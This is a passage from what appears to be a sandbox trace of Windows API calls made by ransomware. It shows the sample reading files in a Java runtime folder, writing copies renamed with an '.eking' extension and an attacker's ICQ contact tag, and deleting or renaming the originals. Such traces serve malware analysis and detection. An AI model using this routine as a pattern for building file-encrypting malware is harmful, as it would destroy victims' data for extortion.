Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0238.561] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=7805) returned 1 [0238.561] CloseHandle (hObject=0x380) returned 1 [0238.561] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif")) returned 0x20 [0238.561] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif")) returned 0x20 [0238.561] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0238.562] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0238.562] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0238.562] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0238.562] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x388 [0238.577] ReadFile (in: hFile=0x380, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x1e7d, lpOverlapped=0x0) returned 1 [0238.613] WriteFile (in: hFile=0x388, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x1e80, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x1e80, lpOverlapped=0x0) returned 1 [0238.615] WriteFile (in: hFile=0x388, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x102, lpOverlapped=0x0) returned 1 [0238.615] CloseHandle (hObject=0x380) returned 1 [0238.615] CloseHandle (hObject=0x388) returned 1 [0238.616] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif")) returned 0 [0238.617] SetEvent (hEvent=0x2b8) returned 1 [0238.617] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0238.618] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=12250) returned 1 [0238.618] CloseHandle (hObject=0x388) returned 1 [0238.618] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif")) returned 0x20 [0238.618] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif")) returned 0x20 [0238.618] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0238.618] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0238.619] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0238.619] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0238.619] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x380 [0238.620] ReadFile (in: hFile=0x388, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x2fda, lpOverlapped=0x0) returned 1 [0238.659] WriteFile (in: hFile=0x380, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x2fe0, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x2fe0, lpOverlapped=0x0) returned 1 [0238.661] WriteFile (in: hFile=0x380, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x102, lpOverlapped=0x0) returned 1 [0238.661] CloseHandle (hObject=0x388) returned 1 [0238.661] CloseHandle (hObject=0x380) returned 1 [0238.665] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif")) returned 0 [0238.665] SetEvent (hEvent=0x2b8) returned 1 [0238.665] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0238.668] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=5040094) returned 1 [0238.668] CloseHandle (hObject=0x380) returned 1 [0238.668] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy.jar")) returned 0x20 [0238.669] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy.jar"), lpNewFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy.jar.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0 [0238.669] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy.jar.id[b4197730-2888].[icq@fartwetsquirrel].eking"), lpNewFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy.jar")) returned 0 [0238.670] SetEvent (hEvent=0x2b8) returned 1 [0238.670] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0238.675] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=188024) returned 1 [0238.675] CloseHandle (hObject=0x380) returned 1 [0238.675] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar")) returned 0x20 [0238.675] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar")) returned 0x20 [0238.675] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0238.676] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0238.676] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0238.676] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0238.676] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x388 [0238.680] ReadFile (in: hFile=0x380, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x2de78, lpOverlapped=0x0) returned 1 [0238.690] WriteFile (in: hFile=0x388, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x2de80, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x2de80, lpOverlapped=0x0) returned 1 [0238.695] WriteFile (in: hFile=0x388, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x102, lpOverlapped=0x0) returned 1 [0238.695] CloseHandle (hObject=0x380) returned 1 [0238.695] CloseHandle (hObject=0x388) returned 1 [0238.878] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar")) returned 0 [0238.879] SetEvent (hEvent=0x2b8) returned 1 [0238.880] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0238.881] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=3860502) returned 1 [0238.881] CloseHandle (hObject=0x388) returned 1 [0238.881] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar")) returned 0x20 [0238.881] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar"), lpNewFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0 [0238.881] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar.id[b4197730-2888].[icq@fartwetsquirrel].eking"), lpNewFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar")) returned 0 [0238.882] SetEvent (hEvent=0x2b8) returned 1 [0238.883] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\dnsns.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0238.883] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=8286) returned 1 [0238.883] CloseHandle (hObject=0x388) returned 1 [0238.883] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\dnsns.jar")) returned 0x20 [0238.884] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\dnsns.jar")) returned 0x20 [0238.884] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\dnsns.jar.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0238.884] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\dnsns.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0238.884] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0238.884] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0238.885] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\dnsns.jar.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x380 [0238.885] ReadFile (in: hFile=0x388, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x205e, lpOverlapped=0x0) returned 1 [0238.888] WriteFile (in: hFile=0x380, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x2060, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x2060, lpOverlapped=0x0) returned 1 [0238.890] WriteFile (in: hFile=0x380, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xf2, lpOverlapped=0x0) returned 1 [0238.890] CloseHandle (hObject=0x388) returned 1 [0238.891] CloseHandle (hObject=0x380) returned 1 [0238.893] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\dnsns.jar")) returned 0 [0238.893] SetEvent (hEvent=0x2b8) returned 1 [0238.894] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jaccess.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0238.896] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=44516) returned 1 [0238.896] CloseHandle (hObject=0x380) returned 1 [0238.896] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jaccess.jar")) returned 0x20 [0238.896] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jaccess.jar")) returned 0x20 [0238.896] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jaccess.jar.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0238.897] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jaccess.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0238.897] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0238.897] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0238.897] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jaccess.jar.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x388 [0239.586] ReadFile (in: hFile=0x380, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0xade4, lpOverlapped=0x0) returned 1 [0239.592] WriteFile (in: hFile=0x388, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xadf0, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xadf0, lpOverlapped=0x0) returned 1 [0239.595] WriteFile (in: hFile=0x388, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xf2, lpOverlapped=0x0) returned 1 [0239.595] CloseHandle (hObject=0x380) returned 1 [0239.596] CloseHandle (hObject=0x388) returned 1 [0239.599] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jaccess.jar")) returned 0 [0239.600] SetEvent (hEvent=0x2b8) returned 1 [0239.601] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0239.602] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=18246297) returned 1 [0239.602] CloseHandle (hObject=0x388) returned 1 [0239.602] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar")) returned 0x20 [0239.602] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar"), lpNewFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0 [0239.602] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar.id[b4197730-2888].[icq@fartwetsquirrel].eking"), lpNewFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar")) returned 0 [0239.603] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\localedata.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0239.605] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=2204781) returned 1 [0239.606] CloseHandle (hObject=0x388) returned 1 [0239.606] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\localedata.jar")) returned 0x20 [0239.606] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\localedata.jar"), lpNewFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\localedata.jar.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0 [0239.606] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\localedata.jar.id[b4197730-2888].[icq@fartwetsquirrel].eking"), lpNewFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\localedata.jar")) returned 0 [0239.606] SetEvent (hEvent=0x2b8) returned 1 [0239.607] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\meta-index"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0239.607] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=1461) returned 1 [0239.607] CloseHandle (hObject=0x388) returned 1 [0239.607] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\meta-index")) returned 0x20 [0239.608] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\meta-index")) returned 0x20 [0239.608] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program 